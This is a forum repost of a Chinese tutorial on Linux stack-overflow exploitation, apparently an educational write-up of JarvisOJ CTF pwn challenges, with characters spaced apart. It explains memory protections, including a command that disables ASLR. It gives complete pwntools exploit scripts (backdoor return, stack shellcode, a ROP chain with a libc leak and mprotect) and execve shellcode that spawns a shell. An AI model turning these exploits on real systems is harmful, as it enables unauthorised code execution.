设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 系统 › [28314] 2020-05-24_pwn的艺术浅谈（一）：linux栈溢出 ...
返回列表 发新帖
查看: 2|回复: 0

[28314] 2020-05-24_pwn的艺术浅谈（一）：linux栈溢出

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 4 天前 | 显示全部楼层 |阅读模式
2020-05-24_pwn的艺术浅谈（一）：linux栈溢出 p w n 的 艺 术 浅 谈 （ 一 ） ： l i n u x 栈 溢 出 天 融 信 响 应 中 心   O t s 安 全   2 0 2 0 - 0 5 - 2 4 这 个 系 列 主 要 介 绍 l i n u x   p w n 的 基 础 知 识 ， 包 括 堆 栈 漏 洞 的 一 些 利 用 方 法 。 这 篇 文 章 是 这 个 系 列 的 第 一 篇 文 章 。 这 里 我 们 以 j a r v i s o j 上 的 一 些 p w n 题 为 例 来 对 l i n u x 下 栈 溢 出 利 用 和 栈 的 基 本 知 识 做 一 个 简 单 的 介 绍 。 题 目 地 址 ： h t t p s : / / w w w . j a r v i s o j . c o m / c h a l l e n g e s 。 0 .   L e v e l 0 ， 栈 的 基 本 结 构 及 n x 绕 过 首 先 查 看 一 下 题 目 的 保 护 措 施 （ 如 下 图 所 示 ） ， 可 以 看 到 是 一 个 只 开 启 了 N X 的 6 4 位 l i n u x 程 序 。 关 于 l i n u x   p w n 常 见 的 保 护 0 . R E L R O 部 分 R E L R O ( 由 l d   - z   r e l r o 启 用 ) : 将 . g o t 段 映 射 为 只 读 ( 但 . g o t . p l t 还 是 可 以 写 ) 重 新 排 列 各 个 段 来 减 少 全 局 变 量 溢 出 导 致 覆 盖 代 码 段 的 可 能 性 . 完 全 R E L R O ( 由 l d   - z   r e l r o   - z   n o w 启 用 ) 执 行 部 分 R E L R O 的 所 有 操 作 . 让 链 接 器 在 链 接 期 间 ( 执 行 程 序 之 前 ) 解 析 所 有 的 符 号 ,   然 后 去 除 . g o t 的 写 权 限 . 将 . g o t . p l t 合 并 到 . g o t 段 中 ,   所 以 . g o t . p l t 将 不 复 存 在 . 1 . s t a c k   c a n a r y 在 函 数 返 回 值 之 前 添 加 的 一 串 随 机 数 （ 不 超 过 机 器 字 长 ） ， 末 位 为 / x 0 0 （ 提 供 了 覆 盖 最 后 一 字 节 输 出 泄 露 c a n a r y 的 可 能 ） 2 . N X n o   e x e c u t a b l e ， 标 识 页 表 是 否 可 执 行 3 . p i e e l f 文 件 加 载 基 址 随 机 化 ， 和 系 统 的 a s l r 不 同 。 L i n u x 系 统 的 a s l r 可 通 过 s u d o   b a s h   - c   " e c h o   0   >   / p r o c / s y s / k e r n e l / r a n d o m i z e _ v a _ s p a c e " 关 闭 ， 其 中 0 ： 没 有 随 机 化 。 即 关 闭   A S L R 。 1 ： 保 留 的 随 机 化 。 共 享 库 、 栈 、 m m a p ( )   以 及   V D S O   将 被 随 机 化 。 2 ： 完 全 的 随 机 化 。 在   1   的 基 础 上 ， 通 过   b r k ( )   分 配 的 内 存 空 间 也 将 被 随 机 化 。 下 面 我 们 分 析 下 l e v e l 0 的 功 能 并 寻 找 漏 洞 ， 将 程 序 拖 进 I D A 中 查 看 ，
可 以 看 到 程 序 保 留 了 符 号 表 （ 这 里 也 可 以 使 用 I D A 的 反 编 译 功 能 F 5 查 看 代 码 ， 不 过 为 了 避 免 I D A 反 编 译 的 错 误 和 一 些 数 据 类 型 导 致 的 漏 洞 建 议 练 习 使 用 汇 编 查 看 关 键 代 码 ） ， 在 入 口 点 m a i n 函 数 中 先 调 用 w r i t e ( 1 , ” H e l l o ,   W o r l d n ” , 0 x d ) 在 控 制 台 输 出 了 H e l l o , W o r l d n 的 字 符 串 （ 在 L i n u x 中 ， 文 件 流 f d 为 0 、 1 、 2 分 别 代 表 标 准 输 入 、 标 准 输 出 和 标 准 错 误 输 出 ， 在 程 序 中 打 开 文 件 得 到 的 f d 从 3 开 始 增 长 ） ； 然 后 将 w r i t e 的 返 回 值 ( e a x ) 清 零 ， 并 调 用 了 一 个 叫 v u l n e r a b l e _ f u n c t i o n 的 函 数 ， 根 据 名 字 可 以 猜 测 这 个 函 数 是 存 在 漏 洞 的 。 我 们 跟 进 v u l n e r a b l e _ f u n c t i o n 函 数 仔 细 观 察 不 难 发 现 v u l n e r a b l e _ f u n c t i o n 中 调 用 了 r e a d ( 0 , b u f , 0 × 2 0 0 ) ， 其 中 b u f 的 位 置 是 r b p - 0 × 8 0 ， 从 标 准 输 入 （ f d = 0 ） 读 取 的 字 符 长 度 为 0 × 2 0 0 ， 这 样 就 造 成 了 栈 溢 出 。 下 面 考 虑 怎 么 利 用 栈 溢 出 来 劫 持 控 制 流 到 达 任 意 代 码 执 行 的 效 果 。 一 个 比 较 典 型 的 函 数 调 用 过 程 是 ： 0 . 开 辟 栈 帧 （ 函 数 栈 空 间 ） 。 栈 的 生 长 方 式 是 从 高 地 址 向 低 地 址 生 长 ， 开 辟 栈 帧 一 般 的 汇 编 指 令 （ 没 有 经 过 i n l i n e   h o o k 优 化 的 ） 是 p u s h   b p ( 当 前 栈 基 址 压 栈 ) 、 m o v   b p , s p ( b p 寄 存 器 保 存 栈 顶 s p 寄 存 器 值 ) 、 s u b   s p , x x ( 开 辟 x x 大 小 的 栈 空 间 )
1 .   设 置 函 数 参 数 （ 寄 存 器 保 存 或 者 参 数 压 栈 ， 栈 中 保 存 的 参 数 逆 序 压 栈 ） 2 . c a l l 新 的 f u n c （ c a l l 的 原 子 操 作 是 p u s h 下 一 条 汇 编 指 令 p c ， 然 后 j u m p 到 f u n c 的 地 址 继 续 执 行 ） ， f u n c 执 行 的 过 程 重 复 1 - 3
这 样 c a l l   f u n c 后 栈 空 间 的 布 局 大 致 是 比 较 典 型 的 函 数 执 行 完 返 回 的 过 程 是 : 1 .   l e a v e ， 等 价 于 m o v   s p , b p ； p o p   b p 。 m o v   s p , b p 将 开 辟 栈 帧 时 保 存 的 上 一 个 栈 顶 s p 寄 存 器 的 值 （ 开 辟 栈 帧 时 m o v   b p , s p 使 用 b p 寄 存 器 保 存 ） 恢 复 到 s p ， 此 时 栈 顶 s p 指 向 图 中 b p 的 位 置 ； p o p   b p 恢 复 b p 寄 存 器 后 s p 指 向 p c 的 位 置 2 .   r e t n ， 等 价 于 p o p   i p ， 此 时 s p 指 向 p c ， p o p   i p 将 p c 处 的 值 赋 值 给 i p 寄 存 器 ， 即 返 回 到 c a l l e r ’ s   p c 处 继 续 执 行 从 以 上 过 程 不 难 看 出 只 要 我 们 控 制 了 c a l l e r ’ s   p c 的 值 就 可 以 在 函 数 返 回 的 时 候 返 回 到 我 们 控 制 的 p c 处 继 续 执 行 ， 从 而 劫 持 控 制 流 执 行 我 们 的 代 码 。 所 以 构 造 l e v e l 0 的 p a y l o a d 为 p a d d i n g + b p + p c ， 其 中 p a d d i n g 覆 盖 栈 空 间 为 0 × 8 0 字 节 大 小 。 由 于 程 序 开 启 了 n x 保 护 （ n o   e x e c u t e ， 代 码 页 不 可 执 行 ） ， 所 以 我 们 不 能 在 函 数 返 回 的 位 置 （ p c ） 直 接 添 加 s h e l l c o d e 执 行 任 意 代 码 。 n x 保 护 一 般 的 绕 过 方 式 是 代 码 重 用 ， 即 利 用 可 执 行 代 码 页 的 代 码 来 达 到 我 们 想 要 的 任 意 代 码 执 行 的 目 的 。 仔 细 观 察 这 个 题 目 中 有 一 个 函 数 叫 c a l l s y s t e m ， 跟 进 发 现 是 一 个 执 行 s y s t e m ( ‘ / b i n / s h ’ ) 的 预 置 后 门 ， 所 以 我 们 把 p c 赋 值 成 c a l l s y s t e m 的 地 址 4 0 0 5 9 6 即 可 。
脚 本 如 下 f r o m   p w n   i m p o r t   * c o n t e x t . l o g _ l e v e l = ' D E B U G ' r m t = 1 i f   r m t :   r = r e m o t e ( ' p w n 2 . j a r v i s o j . c o m ' , 9 8 8 1 ) e l s e :   r = p r o c e s s ( ' . / l e v e l 0 ' ) s y s _ a d d r = 0 x 4 0 0 5 9 6 p a y l o a d = ' a ' * 0 x 8 0 + ' b ' * 8 + p 6 4 ( s y s _ a d d r ) r . s e n d l i n e a f t e r ( ' H e l l o ,   W o r l d ' , p a y l o a d ) r . i n t e r a c t i v e ( ) 脚 本 如 下 1 .   l e v e l 1 ， 未 开 启 n x 保 护 写 s h e l l c o d e 执 行 任 意 代 码 漏 洞 类 型 、 成 因 与 l e v e l 0 一 致 ， 只 不 过 l e v e l 1 是 一 个 3 2 位 未 开 启 n x 的 程 序 （ 栈 代 码 页 可 执 行 ） ， 程 序 中 没 有 出 现 像 l e v e l 0 一 样 的 后 门 ( s y s t e m ( ‘ / b i n / s h ’ ) ) ， 我 们 这 里 考 虑 写 s h e l l c o d e 执 行 任 意 代 码 。 程 序 输 出 了 b u f 的 地 址 ， 我 们 在 b u f 的 位 置 布 置 s h e l l c o d e 然 后 覆 盖 返 回 地 址 为 b u f 地 址 执 行 s h e l l c o d e 即 可 。 构 造 p a y l o a d = s h e l l c o d e + p a d d i n g + b p + r e t ， 其 中 s h e l l c o d e + p a d d i n g 覆 盖 栈 空 间 ， 大 小 0 × 8 8 ； 3 2 位 b p 的 长 度 为 4 字 节 ； r e t 的 地 址 覆 盖 为 程 序 输 出 的 b u f 的 地 址 即 可 。 关 于 s h e l l c o d e 的 编 写 ， 我 们 可 以 使 用 p w n t o o l s 提 供 的 s h e l l c r a f t 模 块 ， 也 可 以 自 己 编 写 s y s t e m ( ‘ / b i n / s h ’ ) 的 调 用 。 一 个 比 较 好 用 的 l i n u x 系 统 中 断 号 查 询 网 址 （ 自 备 飞 机 ） h t t p s : / / s y s c a l l s . k e r n e l g r o k . c o m / 。 查 询 可 得 0 x b 调 用 号 为 s y s _ e x e c v e ， e a x = 0 x b ， e b x = p a t h ， e c x = a r g v ， e n v p = 0 即 可 执 行 s y s _ e x e c v e ( p a t h , a r g v , e n v p ) 的 调 用 。
脚 本 如 下 f r o m   p w n   i m p o r t   * c o n t e x t . l o g _ l e v e l = ' D E B U G ' r m t = 1 i f   r m t : •         r = r e m o t e ( ' p w n 2 . j a r v i s o j . c o m ' , 9 8 7 7 ) e l s e : •         r = p r o c e s s ( ' . / l e v e l 1 ' ) r . r e c v u n t i l ( ' t h i s : ' ) b u f _ a d d r = i n t ( r . r e c v u n t i l ( ' ? ' , d r o p = T r u e ) , 1 6 ) p a y l o a d   =   a s m ( s h e l l c r a f t . s h ( ) ) . l j u s t ( 0 x 8 8 , ’ x 9 0 ’ ) p a y l o a d + = ’ b ' * 4   +   p 3 2 ( b u f _ a d d r )   r . s e n d ( p a y l o a d ) r . i n t e r a c t i v e ( ) p w n t o o l s 提 供 的 s h e l l c o d e / *   e x e c v e ( p a t h = ' / b i n / / / s h ' ,   a r g v = [ ' s h ' ] ,   e n v p = 0 )   * /     / *   p u s h   ' / b i n / / / s h x 0 0 '   * /     p u s h   0 x 6 8     p u s h   0 x 7 3 2 f 2 f 2 f     p u s h   0 x 6 e 6 9 6 2 2 f     m o v   e b x ,   e s p     / *   p u s h   a r g u m e n t   a r r a y   [ ' s h x 0 0 ' ]   * /     / *   p u s h   ' s h x 0 0 x 0 0 '   * /     p u s h   0 x 1 0 1 0 1 0 1     x o r   d w o r d   p t r   [ e s p ] ,   0 x 1 0 1 6 9 7 2     x o r   e c x ,   e c x     p u s h   e c x   / *   n u l l   t e r m i n a t e   * /     p u s h   4     p o p   e c x     a d d   e c x ,   e s p     p u s h   e c x   / *   ' s h x 0 0 '   * /     m o v   e c x ,   e s p     x o r   e d x ,   e d x     / *   c a l l   e x e c v e ( )   * /     p u s h   S Y S _ e x e c v e   / *   0 x b   * /     p o p   e a x     i n t   0 x 8 0
2 .   l e v e l 5 ， 利 用 r o p 绕 过 a s l r 、 n x 、 读 取 s h e l l c o d e 修 改 内 存 属 性 执 行 任 意 代 码 l e v e l 2 ， l e v e l 3 ， l e v e l 4 都 是 r o p 相 关 的 p w n 。 l e v e l 5 在 l e v e l 3 的 基 础 上 加 了 限 制 ， 这 里 以 l e v e l 5 为 例 做 一 个 r o p 的 示 范 。 r o p 即 R e t u r n - o r i e n t e d P r o g r a m m i n g （ 面 向 返 回 的 编 程 ） ， 主 要 思 路 是 修 改 函 数 栈 的 返 回 地 址 利 用 代 码 块 g a d g e t 来 达 到 任 意 代 码 执 行 的 效 果 。 （ 看 到 这 里 ， 相 信 你 已 经 对 栈 的 结 构 和 劫 持 控 制 流 的 过 程 有 了 初 步 了 解 ， 尝 试 去 理 解 一 下 下 面 这 个 利 用 r o p 多 次 触 发 漏 洞 绕 过 很 多 限 制 最 终 执 行 任 意 代 码 的 过 程 吧 ; p ） L e v e l 5 给 出 的 限 制 的 意 思 是 使 用 m m a p 分 配 一 块 内 存 ， 然 后 使 用 m p r o t e c t 改 变 内 存 属 性 为 可 执 行 最 终 达 到 任 意 代 码 执 行 的 目 的 。 由 此 可 以 想 到 的 思 路 是 ： 1 .   泄 露 l i b c 基 址 绕 过 a s l r ， 得 到 m m a p 、 m p r o t e c t 的 地 址 2 .   程 序 未 开 启 p i e ， 加 载 基 址 固 定 ， 容 易 想 到 的 一 个 比 较 方 便 的 存 放 s h e l l c o d e 的 地 址 是 b s s 段 。 这 里 我 们 把 s h e l l c o d e 写 到 b s s 段 基 址 处 3 .   由 于 开 启 了 n x 保 护 ， b s s 段 内 存 不 可 执 行 ， 所 以 需 要 m p r o t e c t 改 变 b s s 段 内 存 属 性 为 可 执 行 3 . 覆 盖 函 数 返 回 地 址 为 b s s 段 基 址 执 行 s h e l l c o d e 1 )   泄 露 l i b c 基 址 绕 过 a s l r 首 先 需 要 明 确 的 一 点 是 不 管 程 序 开 没 开 启 p i e 都 是 需 要 绕 过 a s l r 的 ， 因 为 程 序 运 行 加 载 的 动 态 库 即 l i b c 是 开 启 p i e 的 ， 我 们 需 要 得 到 l i b c 中 函 数 的 地 址 ， 反 推 我 们 需 要 得 到 l i b c 的 基 址 。 最 终 目 的 ： 执 行 w r i t e ( 1 , w r i t e @ g o t ) ， 返 回 到 程 序 起 始 点 以 便 多 次 触 发 漏 洞
L i n u x 下 函 数 传 参 方 式 如 上 所 示 ， 我 们 只 需 使 第 一 个 参 数 r d i = 1 , 第 二 个 参 数 r s i = w r i t e @ g o t ， 返 回 到 w r i t e @ p l t 执 行 即 可 。 g o t 和 p l t 表 是 l i n u x 实 现 动 态 连 接 的 方 式 。 p l t 即 p r o c e d u r e   l i n k a g e   t a b l e ,   进 程 链 接 表 ， 这 个 表 里 包 含 了 一 些 代 码 用 来 调 用 链 接 器 解 析 外 部 函 数 地 址 ， 填 充 到 g o t 表 中 并 跳 转 到 该 函 数 ； 如 果 g o t 表 对 应 函 数 地 址 已 经 填 充 则 在 g o t 表 中 查 找 并 跳 转 到 对 应 函 数 。 g o t 即 g l o b a l   o f f s e t   t a b l e 全 局 偏 移 表 ， 如 果 已 经 填 充 符 号 函 数 对 应 地 址 ， 对 应 g o t 项 为 相 应 函 数 地 址 ； 如 果 没 有 填 充 符 号 函 数 地 址 ， 内 容 为 跳 转 到 对 应 p l t 表 项 的 代 码 并 在 p l t 表 中 完 成 对 应 函 数 地 址 的 查 找 。 使 用 R O P g a d g e t 搜 索 可 得 赋 值 r d i 的 g a d g e t 地 址 为 0 x 4 0 0 6 b 3 由 于 函 数 地 址 在 内 存 中 相 对 于 l i b c 加 载 地 址 的 偏 移 和 函 数 在 l i b c 中 的 偏 移 是 相 同 的 ， 我 们 用 读 到 的 w r i t e @ g o t 的 值 减 去 w r i t e 在 l i b c 中 的 偏 移 即 为 l i b c 在 内 存 中 加 载 的 基 址 。 2 ） 把 s h e l l c o d e 写 到 b s s 段 基 址 处 最 终 目 的 ： 执 行 r e a d ( 0 , b s s _ a d d r , s i z e o f ( s h e l l c o d e ) ) ， 返 回 到 程 序 起 始 点 以 便 多 次 触 发 漏 洞 。 执 行 的 这 段 r o p 代 码 是 从 控 制 台 读 取 s h e l l c o d e 到 b s s 段 ， 执 行 完 r o p 我 们 还 需 要 输 入 要 执 行 的 s h e l l c o d e 3 ） 修 改 b s s 段 内 存 属 性 最 终 目 的 ： 执 行 m p r o t e c t ( b s s _ a d d r , 0 × 1 0 0 0 , 7 ) ， 并 返 回 到 程 序 起 始 点
其 中 m p r o t e x t 的 p r o t 为 7 标 识 可 读 可 写 可 执 行 ， p r o t 可 以 取 以 下 几 个 值 ， 并 且 可 以 用 “ | ” 将 几 个 属 性 合 起 来 使 用 ： 1 . P R O T _ R E A D ： 表 示 内 存 段 内 的 内 容 可 写 ； 2 . P R O T _ W R I T E ： 表 示 内 存 段 内 的 内 容 可 读 ； 3 . P R O T _ E X E C ： 表 示 内 存 段 中 的 内 容 可 执 行 ； 4 . P R O T _ N O N E ： 表 示 内 存 段 中 的 内 容 根 本 没 法 访 问 。 4 ） 覆 盖 函 数 返 回 地 址 为 b s s 段 基 址 ， 即 s h e l l c o d e 的 起 始 地 址 最 终 脚 本 如 下 ： f r o m   p w n   i m p o r t   * c o n t e x t . l o g _ l e v e l = ' D E B U G ' l o c a l = 1 i f   l o c a l : •         r = p r o c e s s ( ' . / l e v e l 3 _ x 6 4 ' ) e l s e : •         r = r e m o t e ( ' p w n 2 . j a r v i s o j . c o m ' , 9 8 8 3 ) f i l e = E L F ( ' . / l e v e l 3 _ x 6 4 ' ) l i b c = E L F ( ' . / l i b c - 2 . 1 9 . s o ' )   d e f   d e b u g ( ) : •         i f   l o c a l : •               p r i n t   ' p i d :   ' + s t r ( r . p i d ) •               p a u s e ( ) p r d i = 0 x 4 0 0 6 b 3 p r s i = 0 x 4 0 0 6 b 1 b s s _ s t a r t = 0 x 6 0 0 A 8 8 s t a r t _ a d d r = 0 x 4 0 0 4 F 0 ' ' '     0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 6 b 1   :   p o p   r s i   ;   p o p   r 1 5   ;   r e t     0 x 0 0 0 0 0 0 0 0 0 0 0 0 1 b 8 e   :   p o p   r d x   ;   r e t ' ' ' p a y l o a d 1 = ' a ' * 0 x 8 0 + ' b ' * 8 + p 6 4 ( p r d i ) + p 6 4 ( 1 ) + p 6 4 ( p r s i ) + p 6 4 ( f i l e . g o t [ ' w r i t e ' ] ) + ' c ' * 8 + p 6 4 ( f i l e . p l t [ ' w r i t e ' ] ) p a y l o a d 1 + = p 6 4 ( s t a r t _ a d d r ) r . r e c v u n t i l ( ' n ' ) r . s e n d ( p a y l o a d 1 ) w r i t e _ g o t = u 6 4 ( r . r e c v ( 8 ) ) s l e e p ( 1 ) l i b c _ b a s e = w r i t e _ g o t - l i b c . s y m [ ' w r i t e ' ]
m p r o t e c t = l i b c _ b a s e + l i b c . s y m [ ' m p r o t e c t ' ] p r d x = l i b c _ b a s e + 0 x 1 b 8 e p r i n t   h e x ( l i b c _ b a s e ) p r i n t   h e x ( m p r o t e c t ) p r i n t   h e x ( p r d x ) p a y l o a d 2 = ' a ' * 0 x 8 0 + ' b ' * 8 + p 6 4 ( p r d i ) + p 6 4 ( 0 x 6 0 0 0 0 0 ) + p 6 4 ( p r s i ) + p 6 4 ( 0 x 1 0 0 0 ) + ' c ' * 8 + p 6 4 ( p r d x ) + p 6 4 ( 7 ) + p 6 4 ( m p r o t e c t ) + p 6 4 ( s t a r t _ a d d r ) r . r e c v u n t i l ( ' n ' ) r . s e n d ( p a y l o a d 2 ) s l e e p ( 1 ) d e b u g ( ) p a y l o a d 3 = ' a ' * 0 x 8 0 + ' b ' * 8 + p 6 4 ( p r d i ) + p 6 4 ( 0 ) + p 6 4 ( p r s i ) + p 6 4 ( b s s _ s t a r t ) + ' c ' * 8 + p 6 4 ( p r d x ) + p 6 4 ( 4 8 ) + p 6 4 ( f i l e . p l t [ ' r e a d ' ] ) + p 6 4 ( s t a r t _ a d d r ) r . r e c v u n t i l ( ' n ' ) r . s e n d ( p a y l o a d 3 ) s l e e p ( 1 ) r . s e n d ( a s m ( s h e l l c r a f t . a m d 6 4 . l i n u x . s h ( ) , a r c h = ' a m d 6 4 ' ) ) d e b u g ( ) p a y l o a d 4 = ' a ' * 0 x 8 0 + ' b ' * 8 + p 6 4 ( b s s _ s t a r t ) r . r e c v u n t i l ( ' n ' ) r . s e n d ( p a y l o a d 4 ) r . i n t e r a c t i v e ( ) 总 结 总 结 这 篇 文 章 主 要 介 绍 了 栈 的 基 础 知 识 和 一 些 栈 溢 出 p w n 的 方 法 、 原 理 ， 希 望 大 家 读 完 能 有 所 收 获 。 阅 读 原 文
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 07:06 , Processed in 0.468421 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表